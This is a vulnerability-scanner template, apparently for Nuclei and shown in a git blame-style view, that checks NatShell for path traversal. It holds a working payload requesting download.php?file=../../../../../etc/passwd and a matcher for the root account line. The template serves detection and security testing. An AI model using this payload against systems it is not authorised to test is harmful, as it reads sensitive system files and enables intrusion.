2021-05-17 08:14:20 +00:00
|
|
|
id: natshell-path-traversal
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: NatShell Path Traversal
|
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
|
2021-05-17 08:14:20 +00:00
|
|
|
tags: natshell,lfi
|
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/download.php?file=../../../../../etc/passwd"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
regex:
|
2021-05-17 14:19:24 +00:00
|
|
|
- "toor:[x*]:0:0"
|
2021-05-17 08:14:20 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|